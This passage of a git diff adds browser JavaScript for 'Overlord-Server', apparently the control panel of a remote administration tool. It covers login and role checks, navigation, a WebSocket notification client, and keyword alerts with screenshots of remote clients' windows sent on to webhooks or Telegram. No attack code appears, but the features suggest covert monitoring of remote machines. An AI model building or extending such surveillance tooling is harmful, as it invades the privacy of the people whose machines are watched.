+ const data = await res.json();
+ document.getElementById("username-display").textContent = data.username;
+
+ const roleBadge = document.getElementById("role-badge");
+ const roleBadges = {
+ admin: ' Admin',
+ operator: ' Operator',
+ viewer: ' Viewer',
+ };
+ if (roleBadges[data.role]) {
+ roleBadge.innerHTML = roleBadges[data.role];
+ } else {
+ roleBadge.textContent = data.role || "";
+ }
+
+ if (data.role === "admin") {
+ roleBadge.classList.add(
+ "bg-purple-900/50",
+ "text-purple-300",
+ "border",
+ "border-purple-800",
+ );
+ } else if (data.role === "operator") {
+ roleBadge.classList.add(
+ "bg-blue-900/50",
+ "text-blue-300",
+ "border",
+ "border-blue-800",
+ );
+ } else {
+ roleBadge.classList.add(
+ "bg-slate-700",
+ "text-slate-300",
+ "border",
+ "border-slate-600",
+ );
+ }
+
+ if (data.role === "admin") {
+ document.getElementById("users-link")?.classList.remove("hidden");
+ document.getElementById("build-link")?.classList.remove("hidden");
+ document.getElementById("plugins-link")?.classList.remove("hidden");
+ document.getElementById("deploy-link")?.classList.remove("hidden");
+ } else if (data.role === "operator") {
+ document.getElementById("build-link")?.classList.remove("hidden");
+ }
+
+ if (data.role !== "viewer") {
+ document.getElementById("scripts-link")?.classList.remove("hidden");
+ }
+ } catch (err) {
+ console.error("Auth check failed:", err);
+ window.location.href = "/login.html";
+ }
+}
+
+document.addEventListener("DOMContentLoaded", async () => {
+ await checkAuth();
+
+ initCharts();
+
+ await initCountryMap();
+
+ await fetchMetrics();
+
+ setInterval(fetchMetrics, 2000);
+
+ const logoutBtn = document.getElementById("logout-btn");
+ if (logoutBtn && !logoutBtn.dataset.boundLogout) {
+ logoutBtn.dataset.boundLogout = "true";
+ logoutBtn.addEventListener("click", async () => {
+ if (!confirm("Are you sure you want to logout?")) return;
+
+ try {
+ const res = await fetch("/api/logout", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ });
+
+ if (res.ok) {
+ window.location.href = "/";
+ } else {
+ alert("Logout failed. Please try again.");
+ }
+ } catch (err) {
+ console.error("Logout error:", err);
+ alert("Logout failed. Please try again.");
+ }
+ });
+ }
+});
diff --git a/Overlord-Server/public/assets/msgpack-helpers.js b/Overlord-Server/public/assets/msgpack-helpers.js
new file mode 100644
index 0000000..213a7a0
--- /dev/null
+++ b/Overlord-Server/public/assets/msgpack-helpers.js
@@ -0,0 +1,45 @@
+function getMsgpack() {
+ const globalObj = typeof globalThis !== "undefined" ? globalThis : window;
+ const mp =
+ globalObj.msgpackr ||
+ globalObj.msgpack ||
+ globalObj.msgpacklite ||
+ globalObj.MessagePack ||
+ globalObj.msgpack5 ||
+ globalObj.MsgPack;
+ if (!mp) {
+ return null;
+ }
+ return mp;
+}
+
+export function encodeMsgpack(payload) {
+ const mp = getMsgpack();
+ const encoder = mp?.pack || mp?.encode;
+ if (!encoder) {
+ throw new Error("msgpack encoder not available. Ensure msgpackr bundle is loaded before module scripts.");
+ }
+ return encoder(payload);
+}
+
+export function decodeMsgpack(data) {
+ const mp = getMsgpack();
+ const decoder = mp?.unpack || mp?.decode;
+ if (!decoder) {
+ throw new Error("msgpack decoder not available. Ensure msgpackr bundle is loaded before module scripts.");
+ }
+ if (data instanceof Uint8Array) {
+ return decoder(data);
+ }
+ if (data instanceof ArrayBuffer) {
+ return decoder(new Uint8Array(data));
+ }
+ if (typeof data === "string") {
+ try {
+ return JSON.parse(data);
+ } catch {
+ return null;
+ }
+ }
+ return null;
+}
diff --git a/Overlord-Server/public/assets/nav.js b/Overlord-Server/public/assets/nav.js
new file mode 100644
index 0000000..e65fcb8
--- /dev/null
+++ b/Overlord-Server/public/assets/nav.js
@@ -0,0 +1,108 @@
+import {
+ startNotificationClient,
+ setNotificationsEnabled,
+ getNotificationsEnabled,
+ subscribeStatus,
+ subscribeUnread,
+} from "./notify-client.js";
+import { mountNav } from "./nav/template.js";
+import { createAdaptiveNavController } from "./nav/layout.js";
+import { applyUserRoleUI } from "./nav/role-ui.js";
+
+const host = document.getElementById("top-nav");
+if (host) {
+ const refs = mountNav(host);
+ const { applyAdaptiveNavLayout } = createAdaptiveNavController(host, refs);
+
+ const path = window.location.pathname;
+ const activeMap = {
+ "/": "nav-clients",
+ "/metrics": "metrics-link",
+ "/logs": "logs-link",
+ "/scripts": "scripts-link",
+ "/plugins": "plugins-link",
+ "/build": "build-link",
+ "/users": "users-link",
+ "/notifications": "notifications-link",
+ };
+ const activeId = activeMap[path];
+ if (activeId) {
+ const el = document.getElementById(activeId);
+ if (el) {
+ el.classList.remove("bg-slate-900/70", "text-slate-300");
+ el.classList.add("bg-slate-800", "text-slate-50");
+ el.classList.add("nav-active");
+ }
+ }
+ if (refs.logoutBtn && !refs.logoutBtn.dataset.boundLogout) {
+ refs.logoutBtn.dataset.boundLogout = "true";
+ refs.logoutBtn.addEventListener("click", async () => {
+ if (!confirm("Are you sure you want to logout?")) return;
+
+ try {
+ const res = await fetch("/api/logout", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ });
+
+
+ if (res.ok) {
+ window.location.href = "/";
+ } else {
+ alert("Logout failed. Please try again.");
+ }
+ } catch (err) {
+ console.error("Logout error:", err);
+ alert("Logout failed. Please try again.");
+ }
+ });
+ }
+
+ const updateToggle = () => {
+ const enabled = getNotificationsEnabled();
+ if (refs.notifyToggle) {
+ refs.notifyToggle.classList.toggle("text-emerald-200", enabled);
+ refs.notifyToggle.classList.toggle("border-emerald-500/40", enabled);
+ refs.notifyToggle.classList.toggle("text-slate-300", !enabled);
+ }
+ };
+
+ refs.notifyToggle?.addEventListener("click", () => {
+ const next = !getNotificationsEnabled();
+ setNotificationsEnabled(next);
+ updateToggle();
+ });
+
+ subscribeUnread((count) => {
+ if (!refs.notifyBadge) return;
+ refs.notifyBadge.textContent = String(count);
+ refs.notifyBadge.classList.toggle("hidden", count <= 0);
+ });
+
+ updateToggle();
+ startNotificationClient();
+ subscribeStatus((status) => {
+ if (status === "connected") {
+ // no-op
+ }
+ });
+
+ async function loadCurrentUser() {
+ try {
+ const res = await fetch("/api/auth/me", { credentials: "include" });
+ if (!res.ok) {
+ return;
+ }
+ const user = await res.json();
+ applyUserRoleUI(user, refs);
+
+ applyAdaptiveNavLayout();
+ } catch (err) {
+ console.error("Failed to load user:", err);
+ }
+ }
+
+ if (refs.usernameDisplay && refs.roleBadge) {
+ loadCurrentUser();
+ }
+}
diff --git a/Overlord-Server/public/assets/nav/layout.js b/Overlord-Server/public/assets/nav/layout.js
new file mode 100644
index 0000000..72721f0
--- /dev/null
+++ b/Overlord-Server/public/assets/nav/layout.js
@@ -0,0 +1,114 @@
+const MOBILE_BREAKPOINT = 768;
+
+export function createAdaptiveNavController(host, refs) {
+ const { toggle, panel, navLinks, navUtility } = refs;
+ if (!toggle || !panel || !navLinks || !navUtility) {
+ return { applyAdaptiveNavLayout: () => {} };
+ }
+
+ const navOverflows = () =>
+ panel.scrollWidth > panel.clientWidth + 1 || host.scrollWidth > host.clientWidth + 1;
+
+ function resetInlineStyles() {
+ panel.style.display = "";
+ panel.style.flexDirection = "";
+ panel.style.alignItems = "";
+ panel.style.gap = "";
+ navLinks.style.flexDirection = "";
+ navLinks.style.flexWrap = "";
+ navLinks.style.alignItems = "";
+ navLinks.style.justifyContent = "";
+ navUtility.style.display = "";
+ navUtility.style.width = "";
+ navUtility.style.justifyContent = "";
+ navUtility.style.flexWrap = "";
+ }
+
+ function applyAdaptiveNavLayout() {
+ if (window.innerWidth < MOBILE_BREAKPOINT) {
+ host.dataset.navMode = "mobile";
+ panel.classList.add("hidden");
+ resetInlineStyles();
+ panel.dataset.open = "false";
+ toggle.style.display = "";
+ toggle.setAttribute("aria-expanded", "false");
+ return;
+ }
+
+ host.dataset.navMode = "desktop";
+ panel.classList.remove("hidden");
+ panel.style.display = "flex";
+ panel.dataset.open = "true";
+ navUtility.style.display = "flex";
+ toggle.style.display = "none";
+ toggle.setAttribute("aria-expanded", "false");
+
+ if (navOverflows()) {
+ host.dataset.navMode = "desktop-compact";
+ navUtility.style.display = "none";
+ if (navOverflows()) {
+ host.dataset.navMode = "compact";
+ panel.style.display = "none";
+ panel.dataset.open = "false";
+ toggle.style.display = "inline-flex";
+ }
+ }
+ }
+
+ function openCompactPanel() {
+ panel.dataset.open = "true";
+ panel.classList.remove("hidden");
+ panel.style.display = "flex";
+ panel.style.flexDirection = "column";
+ panel.style.alignItems = "stretch";
+ panel.style.gap = "10px";
+
+ navLinks.style.flexDirection = "row";
+ navLinks.style.flexWrap = "wrap";
+ navLinks.style.alignItems = "center";
+ navLinks.style.justifyContent = "flex-start";
+
+ navUtility.style.display = "flex";
+ navUtility.style.width = "100%";
+ navUtility.style.justifyContent = "space-between";
+ navUtility.style.flexWrap = "wrap";
+
+ toggle.setAttribute("aria-expanded", "true");
+ }
+
+ function closeCompactPanel() {
+ panel.dataset.open = "false";
+ panel.style.display = "none";
+ if (host.dataset.navMode === "mobile") {
+ panel.classList.add("hidden");
+ }
+ toggle.setAttribute("aria-expanded", "false");
+ }
+
+ toggle.addEventListener("click", () => {
+ const compact =
+ host.dataset.navMode === "compact" || host.dataset.navMode === "mobile";
+ if (!compact) return;
+
+ const isOpen = panel.dataset.open === "true";
+ if (isOpen) {
+ closeCompactPanel();
+ return;
+ }
+ openCompactPanel();
+ });
+
+ let resizeRaf = null;
+ window.addEventListener("resize", () => {
+ if (resizeRaf) {
+ cancelAnimationFrame(resizeRaf);
+ }
+ resizeRaf = requestAnimationFrame(() => {
+ applyAdaptiveNavLayout();
+ });
+ });
+
+ applyAdaptiveNavLayout();
+
+ return { applyAdaptiveNavLayout };
+}
diff --git a/Overlord-Server/public/assets/nav/role-ui.js b/Overlord-Server/public/assets/nav/role-ui.js
new file mode 100644
index 0000000..1195146
--- /dev/null
+++ b/Overlord-Server/public/assets/nav/role-ui.js
@@ -0,0 +1,75 @@
+export function applyUserRoleUI(user, refs) {
+ const {
+ usernameDisplay,
+ roleBadge,
+ usersLink,
+ buildLink,
+ pluginsLink,
+ scriptsLink,
+ logsLink,
+ } = refs;
+
+ if (!user || !usernameDisplay || !roleBadge) return;
+
+ usernameDisplay.textContent = user.username || "unknown";
+
+ const roleBadges = {
+ admin: ' Admin',
+ operator: ' Operator',
+ viewer: ' Viewer',
+ };
+
+ if (roleBadges[user.role]) {
+ roleBadge.innerHTML = roleBadges[user.role];
+ } else {
+ roleBadge.textContent = user.role || "user";
+ }
+
+ roleBadge.classList.remove(
+ "bg-purple-900/50",
+ "text-purple-300",
+ "border",
+ "border-purple-800",
+ "bg-blue-900/50",
+ "text-blue-300",
+ "border-blue-800",
+ "bg-slate-700",
+ "text-slate-300",
+ "border-slate-600",
+ );
+
+ if (user.role === "admin") {
+ roleBadge.classList.add(
+ "bg-purple-900/50",
+ "text-purple-300",
+ "border",
+ "border-purple-800",
+ );
+ } else if (user.role === "operator") {
+ roleBadge.classList.add(
+ "bg-blue-900/50",
+ "text-blue-300",
+ "border",
+ "border-blue-800",
+ );
+ } else {
+ roleBadge.classList.add(
+ "bg-slate-700",
+ "text-slate-300",
+ "border",
+ "border-slate-600",
+ );
+ }
+
+ if (user.role === "admin") {
+ usersLink?.classList.remove("hidden");
+ pluginsLink?.classList.remove("hidden");
+ logsLink?.classList.remove("hidden");
+ }
+ if (user.role === "admin" || user.role === "operator") {
+ buildLink?.classList.remove("hidden");
+ }
+ if (user.role !== "viewer") {
+ scriptsLink?.classList.remove("hidden");
+ }
+}
diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js
new file mode 100644
index 0000000..fd8fd35
--- /dev/null
+++ b/Overlord-Server/public/assets/nav/template.js
@@ -0,0 +1,127 @@
+export function mountNav(host) {
+ host.className =
+ "sticky top-0 z-10 w-full px-5 py-3 bg-slate-950/80 backdrop-blur border-b border-slate-800";
+
+ host.innerHTML = `
+
+ `;
+
+ return {
+ toggle: document.getElementById("nav-toggle"),
+ panel: document.getElementById("nav-panel"),
+ navLinks: document.getElementById("nav-links"),
+ navUtility: document.getElementById("nav-utility"),
+ logoutBtn: document.getElementById("logout-btn"),
+ notifyToggle: document.getElementById("notify-toggle"),
+ notifyBadge: document.getElementById("notify-badge"),
+ usernameDisplay: document.getElementById("username-display"),
+ roleBadge: document.getElementById("role-badge"),
+ usersLink: document.getElementById("users-link"),
+ buildLink: document.getElementById("build-link"),
+ pluginsLink: document.getElementById("plugins-link"),
+ scriptsLink: document.getElementById("scripts-link"),
+ logsLink: document.getElementById("logs-link"),
+ };
+}
diff --git a/Overlord-Server/public/assets/notifications.js b/Overlord-Server/public/assets/notifications.js
new file mode 100644
index 0000000..4d70649
--- /dev/null
+++ b/Overlord-Server/public/assets/notifications.js
@@ -0,0 +1,344 @@
+import {
+ startNotificationClient,
+ subscribeNotifications,
+ subscribeReady,
+ subscribeStatus,
+ markAllNotificationsRead,
+} from "./notify-client.js";
+
+const wsStatus = document.getElementById("ws-status");
+const listEl = document.getElementById("notification-list");
+const emptyState = document.getElementById("empty-state");
+const keywordInput = document.getElementById("keyword-input");
+const saveKeywordsBtn = document.getElementById("save-keywords");
+const keywordHint = document.getElementById("keyword-hint");
+const webhookEnabledInput = document.getElementById("webhook-enabled");
+const webhookUrlInput = document.getElementById("webhook-url");
+const saveWebhookBtn = document.getElementById("save-webhook");
+const telegramEnabledInput = document.getElementById("telegram-enabled");
+const telegramBotTokenInput = document.getElementById("telegram-bot-token");
+const telegramChatIdInput = document.getElementById("telegram-chat-id");
+const saveTelegramBtn = document.getElementById("save-telegram");
+const panel = document.getElementById("notification-panel");
+const previewModal = document.getElementById("notification-preview-modal");
+const previewModalImg = document.getElementById("notification-preview-image");
+const previewModalClose = document.getElementById("notification-preview-close");
+
+const MAX_ROWS = 200;
+
+function setStatus(text, tone = "neutral") {
+ if (!wsStatus) return;
+ const icon = wsStatus.querySelector("i");
+ const label = wsStatus.querySelector("span");
+ if (label) label.textContent = text;
+ if (icon) {
+ icon.className = "fa-solid fa-circle-dot";
+ icon.classList.remove("text-green-400", "text-red-400", "text-yellow-400", "text-slate-400");
+ if (tone === "ok") icon.classList.add("text-green-400");
+ else if (tone === "error") icon.classList.add("text-red-400");
+ else if (tone === "warn") icon.classList.add("text-yellow-400");
+ else icon.classList.add("text-slate-400");
+ }
+}
+
+function formatTime(ts) {
+ if (ts == null) return "-";
+ let normalized = ts;
+ if (typeof normalized === "bigint") {
+ normalized = Number(normalized);
+ } else if (typeof normalized === "string") {
+ normalized = Number(normalized);
+ }
+ if (!Number.isFinite(normalized)) return "-";
+ const date = new Date(normalized);
+ if (Number.isNaN(date.getTime())) return "-";
+ return date.toLocaleString();
+}
+
+function escapeHtml(text) {
+ const div = document.createElement("div");
+ div.textContent = text == null ? "" : String(text);
+ return div.innerHTML;
+}
+
+function renderRow(item, prepend = true) {
+ if (!listEl) return;
+ const row = document.createElement("tr");
+ row.className = "border-t border-slate-800/60";
+ row.innerHTML = `
+ ${formatTime(item.ts)}
+ ${escapeHtml(item.clientId || "-")}
+ ${escapeHtml(item.user || "-")}
+ ${escapeHtml(item.title || "-")}
+ ${escapeHtml(item.process || "-")}
+ ${escapeHtml(item.keyword || "-")}
+
+ `;
+
+ const preview = row.querySelector(".preview-slot");
+ if (preview) {
+ const notificationId = item?.id || "";
+ if (!notificationId) {
+ preview.textContent = "-";
+ preview.className = "text-slate-500";
+ } else {
+ preview.textContent = "Loading...";
+ preview.className = "text-slate-500";
+ const img = document.createElement("img");
+ img.className = "max-h-32 w-auto rounded border border-slate-800/80 cursor-zoom-in";
+ img.loading = "lazy";
+ img.alt = "Notification screenshot";
+
+ let attempts = 0;
+ const maxAttempts = 5;
+ const fetchPreview = async () => {
+ attempts += 1;
+ try {
+ const url = `/api/notifications/${encodeURIComponent(notificationId)}/screenshot?ts=${Date.now()}`;
+ const res = await fetch(url, { cache: "no-store" });
+ if (!res.ok) {
+ if (res.status === 404 && attempts < maxAttempts) {
+ setTimeout(fetchPreview, 1000 * attempts);
+ return;
+ }
+ preview.textContent = "-";
+ preview.className = "text-slate-500";
+ return;
+ }
+ const blob = await res.blob();
+ const objectUrl = URL.createObjectURL(blob);
+ img.classList.add("opacity-0");
+ preview.innerHTML = "";
+ preview.className = "";
+ preview.appendChild(img);
+ img.addEventListener("load", () => {
+ img.classList.remove("opacity-0");
+ });
+ img.addEventListener("error", () => {
+ preview.textContent = "-";
+ preview.className = "text-slate-500";
+ URL.revokeObjectURL(objectUrl);
+ });
+ img.src = objectUrl;
+ img.dataset.previewUrl = objectUrl;
+ if (img.decode) {
+ img.decode().catch(() => {});
+ }
+
+ img.addEventListener("click", () => {
+ if (!previewModal || !previewModalImg) return;
+ previewModalImg.src = img.dataset.previewUrl || objectUrl;
+ previewModal.classList.remove("hidden");
+ previewModal.classList.add("flex");
+ });
+ } catch (err) {
+ if (attempts < maxAttempts) {
+ setTimeout(fetchPreview, 1000 * attempts);
+ return;
+ }
+ preview.textContent = "-";
+ preview.className = "text-slate-500";
+ }
+ };
+ fetchPreview();
+ }
+ }
+
+ if (prepend) {
+ listEl.prepend(row);
+ } else {
+ listEl.appendChild(row);
+ }
+
+ const rows = listEl.querySelectorAll("tr");
+ if (rows.length > MAX_ROWS) {
+ rows[rows.length - 1].remove();
+ }
+
+ if (emptyState) {
+ emptyState.classList.toggle("hidden", listEl.children.length > 0);
+ }
+}
+
+function handleNotification(item) {
+ console.log("[notifications] item", item);
+ renderRow(item, true);
+}
+
+
+function parseKeywords(text) {
+ return text
+ .split(/\r?\n/)
+ .map((k) => k.trim())
+ .filter(Boolean);
+}
+
+function renderKeywordHint(count) {
+ if (!keywordHint) return;
+ keywordHint.textContent = `${count} keyword${count === 1 ? "" : "s"}`;
+}
+
+async function loadKeywords() {
+ if (!keywordInput) return;
+ try {
+ const res = await fetch("/api/notifications/config");
+ if (!res.ok) return;
+ const data = await res.json();
+ const notifications = data?.notifications || {};
+ const keywords = notifications.keywords || [];
+ keywordInput.value = keywords.join("\n");
+ renderKeywordHint(keywords.length);
+ if (webhookEnabledInput) {
+ webhookEnabledInput.checked = !!notifications.webhookEnabled;
+ }
+ if (webhookUrlInput) {
+ webhookUrlInput.value = notifications.webhookUrl || "";
+ }
+ if (telegramEnabledInput) {
+ telegramEnabledInput.checked = !!notifications.telegramEnabled;
+ }
+ if (telegramBotTokenInput) {
+ telegramBotTokenInput.value = notifications.telegramBotToken || "";
+ }
+ if (telegramChatIdInput) {
+ telegramChatIdInput.value = notifications.telegramChatId || "";
+ }
+ } catch {}
+}
+
+function wireKeywordSave() {
+ if (!saveKeywordsBtn || !keywordInput) return;
+ saveKeywordsBtn.addEventListener("click", async () => {
+ const keywords = parseKeywords(keywordInput.value);
+ try {
+ const res = await fetch("/api/notifications/config", {
+ method: "PUT",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ keywords }),
+ });
+ if (!res.ok) {
+ window.showToast?.("Failed to save keywords", "error", 4000);
+ return;
+ }
+ const data = await res.json();
+ const updated = data?.notifications?.keywords || keywords;
+ keywordInput.value = updated.join("\n");
+ renderKeywordHint(updated.length);
+ window.showToast?.("Keywords updated", "success", 3000);
+ } catch {
+ window.showToast?.("Failed to save keywords", "error", 4000);
+ }
+ });
+
+ keywordInput.addEventListener("input", () => {
+ const keywords = parseKeywords(keywordInput.value);
+ renderKeywordHint(keywords.length);
+ });
+}
+
+function wireWebhookSave() {
+ if (!saveWebhookBtn || !webhookUrlInput || !webhookEnabledInput) return;
+ saveWebhookBtn.addEventListener("click", async () => {
+ const webhookUrl = webhookUrlInput.value.trim();
+ const webhookEnabled = !!webhookEnabledInput.checked;
+ try {
+ const res = await fetch("/api/notifications/config", {
+ method: "PUT",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ webhookUrl, webhookEnabled }),
+ });
+ if (!res.ok) {
+ window.showToast?.("Failed to save webhook", "error", 4000);
+ return;
+ }
+ const data = await res.json();
+ const notifications = data?.notifications || {};
+ webhookEnabledInput.checked = !!notifications.webhookEnabled;
+ webhookUrlInput.value = notifications.webhookUrl || "";
+ window.showToast?.("Webhook updated", "success", 3000);
+ } catch {
+ window.showToast?.("Failed to save webhook", "error", 4000);
+ }
+ });
+}
+
+function wireTelegramSave() {
+ if (!saveTelegramBtn || !telegramBotTokenInput || !telegramChatIdInput || !telegramEnabledInput) return;
+ saveTelegramBtn.addEventListener("click", async () => {
+ const telegramBotToken = telegramBotTokenInput.value.trim();
+ const telegramChatId = telegramChatIdInput.value.trim();
+ const telegramEnabled = !!telegramEnabledInput.checked;
+ try {
+ const res = await fetch("/api/notifications/config", {
+ method: "PUT",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ telegramBotToken, telegramChatId, telegramEnabled }),
+ });
+ if (!res.ok) {
+ window.showToast?.("Failed to save Telegram settings", "error", 4000);
+ return;
+ }
+ const data = await res.json();
+ const notifications = data?.notifications || {};
+ telegramEnabledInput.checked = !!notifications.telegramEnabled;
+ telegramBotTokenInput.value = notifications.telegramBotToken || "";
+ telegramChatIdInput.value = notifications.telegramChatId || "";
+ window.showToast?.("Telegram settings updated", "success", 3000);
+ } catch {
+ window.showToast?.("Failed to save Telegram settings", "error", 4000);
+ }
+ });
+}
+
+
+function connect() {
+ startNotificationClient();
+ if (panel) {
+ markAllNotificationsRead();
+ }
+ subscribeStatus((status) => {
+ if (status === "connected") setStatus("Connected", "ok");
+ if (status === "error") setStatus("Error", "error");
+ if (status === "disconnected") setStatus("Disconnected", "warn");
+ });
+ subscribeReady((history) => {
+ if (listEl) listEl.innerHTML = "";
+ history.reverse().forEach((item) => renderRow(item, false));
+ if (emptyState) {
+ emptyState.classList.toggle("hidden", history.length > 0);
+ }
+ markAllNotificationsRead();
+ });
+ subscribeNotifications(handleNotification);
+}
+
+wireKeywordSave();
+wireWebhookSave();
+wireTelegramSave();
+loadKeywords();
+connect();
+
+function wireActiveClear() {
+ const clearIfActive = () => {
+ if (document.visibilityState === "visible") {
+ markAllNotificationsRead();
+ }
+ };
+ document.addEventListener("visibilitychange", clearIfActive);
+ window.addEventListener("focus", clearIfActive);
+ clearIfActive();
+}
+
+wireActiveClear();
+
+if (previewModal && previewModalClose && previewModalImg) {
+ const closePreview = () => {
+ previewModal.classList.add("hidden");
+ previewModal.classList.remove("flex");
+ previewModalImg.src = "";
+ };
+ previewModalClose.addEventListener("click", closePreview);
+ previewModal.addEventListener("click", (event) => {
+ if (event.target === previewModal) closePreview();
+ });
+}
diff --git a/Overlord-Server/public/assets/notify-client.js b/Overlord-Server/public/assets/notify-client.js
new file mode 100644
index 0000000..c551e82
--- /dev/null
+++ b/Overlord-Server/public/assets/notify-client.js
@@ -0,0 +1,203 @@
+import { decodeMsgpack } from "./msgpack-helpers.js";
+
+const STORAGE_KEY = "overlord_notifications_enabled";
+const UNREAD_KEY = "overlord_notifications_unread";
+let enabled = localStorage.getItem(STORAGE_KEY);
+if (enabled === null) {
+ enabled = "1";
+ localStorage.setItem(STORAGE_KEY, enabled);
+}
+if (localStorage.getItem(UNREAD_KEY) === null) {
+ localStorage.setItem(UNREAD_KEY, "0");
+}
+let ws = null;
+let started = false;
+let readyHandlers = new Set();
+let notificationHandlers = new Set();
+let statusHandlers = new Set();
+let unreadHandlers = new Set();
+let lastHistory = [];
+
+function emitStatus(status) {
+ for (const handler of statusHandlers) {
+ try {
+ handler(status);
+ } catch {}
+ }
+}
+
+function emitReady(history) {
+ lastHistory = Array.isArray(history) ? history : [];
+ for (const handler of readyHandlers) {
+ try {
+ handler(lastHistory);
+ } catch {}
+ }
+}
+
+function emitNotification(item) {
+ for (const handler of notificationHandlers) {
+ try {
+ handler(item);
+ } catch {}
+ }
+}
+
+function shouldNotify() {
+ return localStorage.getItem(STORAGE_KEY) === "1";
+}
+
+function getUnreadCount() {
+ return Number(localStorage.getItem(UNREAD_KEY) || "0");
+}
+
+function setUnreadCount(value) {
+ const next = Math.max(0, Number(value) || 0);
+ localStorage.setItem(UNREAD_KEY, String(next));
+ for (const handler of unreadHandlers) {
+ try {
+ handler(next);
+ } catch {}
+ }
+}
+
+function incrementUnread() {
+ setUnreadCount(getUnreadCount() + 1);
+}
+
+function handleMessage(payload) {
+ if (!payload || typeof payload.type !== "string") return;
+ if (payload.type === "ready") {
+ emitReady(payload.history || []);
+ return;
+ }
+ if (payload.type === "notification" && payload.item) {
+ console.log("[notifications] received", payload.item);
+ emitNotification(payload.item);
+ if (shouldNotify()) {
+ incrementUnread();
+ }
+ }
+}
+
+let msgpackLoadPromise = null;
+function ensureMsgpackrLoaded() {
+ const globalObj = typeof globalThis !== "undefined" ? globalThis : window;
+ if (globalObj.msgpackr) {
+ return Promise.resolve();
+ }
+ if (msgpackLoadPromise) return msgpackLoadPromise;
+ msgpackLoadPromise = new Promise((resolve, reject) => {
+ const script = document.createElement("script");
+ script.src = "https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js";
+ script.async = true;
+ script.onload = () => resolve();
+ script.onerror = (err) => reject(err);
+ document.head.appendChild(script);
+ });
+ return msgpackLoadPromise;
+}
+
+function connect() {
+ const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
+ const wsUrl = `${protocol}//${window.location.host}/api/notifications/ws`;
+ ws = new WebSocket(wsUrl);
+
+ ws.onopen = () => {
+ console.log("[notifications] ws open", wsUrl);
+ emitStatus("connected");
+ };
+
+ ws.onmessage = (event) => {
+ console.log("[notifications] ws message", event.data);
+ if (typeof event.data === "string") {
+ let parsed = null;
+ try {
+ parsed = JSON.parse(event.data);
+ } catch {
+ parsed = decodeMsgpack(event.data);
+ }
+ if (parsed) handleMessage(parsed);
+ return;
+ }
+
+ if (event.data instanceof Blob) {
+ event.data
+ .arrayBuffer()
+ .then((buf) => {
+ const parsed = decodeMsgpack(buf);
+ if (parsed) handleMessage(parsed);
+ })
+ .catch(() => {});
+ return;
+ }
+
+ if (event.data instanceof ArrayBuffer) {
+ const parsed = decodeMsgpack(event.data);
+ if (parsed) handleMessage(parsed);
+ }
+ };
+
+ ws.onerror = () => {
+ console.warn("[notifications] ws error");
+ emitStatus("error");
+ };
+
+ ws.onclose = () => {
+ console.warn("[notifications] ws closed");
+ emitStatus("disconnected");
+ setTimeout(connect, 3000);
+ };
+}
+
+export async function startNotificationClient() {
+ if (started) return;
+ started = true;
+ console.log("[notifications] start client");
+ try {
+ await ensureMsgpackrLoaded();
+ } catch (err) {
+ console.warn("[notifications] failed to load msgpackr", err);
+ }
+ connect();
+}
+
+export function subscribeNotifications(handler) {
+ notificationHandlers.add(handler);
+ return () => notificationHandlers.delete(handler);
+}
+
+export function subscribeUnread(handler) {
+ unreadHandlers.add(handler);
+ try {
+ handler(getUnreadCount());
+ } catch {}
+ return () => unreadHandlers.delete(handler);
+}
+
+export function subscribeReady(handler) {
+ readyHandlers.add(handler);
+ if (lastHistory.length) {
+ try {
+ handler(lastHistory);
+ } catch {}
+ }
+ return () => readyHandlers.delete(handler);
+}
+
+export function subscribeStatus(handler) {
+ statusHandlers.add(handler);
+ return () => statusHandlers.delete(handler);
+}
+
+export function setNotificationsEnabled(value) {
+ localStorage.setItem(STORAGE_KEY, value ? "1" : "0");
+}
+
+export function getNotificationsEnabled() {
+ return localStorage.getItem(STORAGE_KEY) === "1";
+}
+
+export function markAllNotificationsRead() {
+ setUnreadCount(0);
+}
diff --git a/Overlord-Server/public/assets/plugin-bridge.js b/Overlord-Server/public/assets/plugin-bridge.js
new file mode 100644
index 0000000..3aa392e
--- /dev/null
+++ b/Overlord-Server/public/assets/plugin-bridge.js
@@ -0,0 +1,167 @@
+(function () {
+ const params = new URLSearchParams(location.search);
+ const token = params.get("token") || "";
+ const origin = params.get("origin") || "";
+ let seq = 0;
+ const pending = new Map();
+
+ function base64ToArrayBuffer(base64) {
+ const binary = atob(base64 || "");
+ const len = binary.length;
+ const bytes = new Uint8Array(len);
+ for (let i = 0; i < len; i += 1) {
+ bytes[i] = binary.charCodeAt(i);
+ }
+ return bytes.buffer;
+ }
+
+ function makeResponse(payload) {
+ const headers = new Map(Object.entries(payload.headers || {}));
+ const bodyText = payload.bodyText || "";
+ const bodyBase64 = payload.bodyBase64 || "";
+ const response = {
+ ok: Boolean(payload.ok),
+ status: payload.status || 0,
+ statusText: payload.statusText || "",
+ headers,
+ text: async () => bodyText,
+ json: async () => JSON.parse(bodyText || "{}"),
+ arrayBuffer: async () => base64ToArrayBuffer(bodyBase64),
+ blob: async () => new Blob([base64ToArrayBuffer(bodyBase64)], {
+ type: payload.contentType || "application/octet-stream",
+ }),
+ };
+ return response;
+ }
+
+ async function bridgeFetch(input, init = {}) {
+ const requestUrl = typeof input === "string" ? input : input.url;
+ const id = `req_${Date.now()}_${seq++}`;
+
+ const request = {
+ url: requestUrl,
+ method: init.method || "GET",
+ headers: init.headers || {},
+ body: init.body || undefined,
+ };
+
+ const responsePromise = new Promise((resolve, reject) => {
+ pending.set(id, { resolve, reject });
+ window.parent.postMessage(
+ { type: "plugin-fetch", id, token, request },
+ origin || "*",
+ );
+
+ setTimeout(() => {
+ if (!pending.has(id)) return;
+ pending.delete(id);
+ reject(new Error("plugin fetch timeout"));
+ }, 30_000);
+ });
+
+ const payload = await responsePromise;
+ if (payload.error) {
+ throw new Error(payload.message || payload.error);
+ }
+ return makeResponse(payload);
+ }
+
+ window.addEventListener("message", (event) => {
+ const data = event.data;
+ if (!data || data.type !== "plugin-fetch-response") return;
+ const waiter = pending.get(data.id);
+ if (!waiter) return;
+ pending.delete(data.id);
+ waiter.resolve(data);
+ });
+
+ window.fetch = bridgeFetch;
+
+ let wsSeq = 0;
+ const wsWaiters = new Map();
+ const wsHandlers = new Map();
+
+ function createPluginWebSocket(url) {
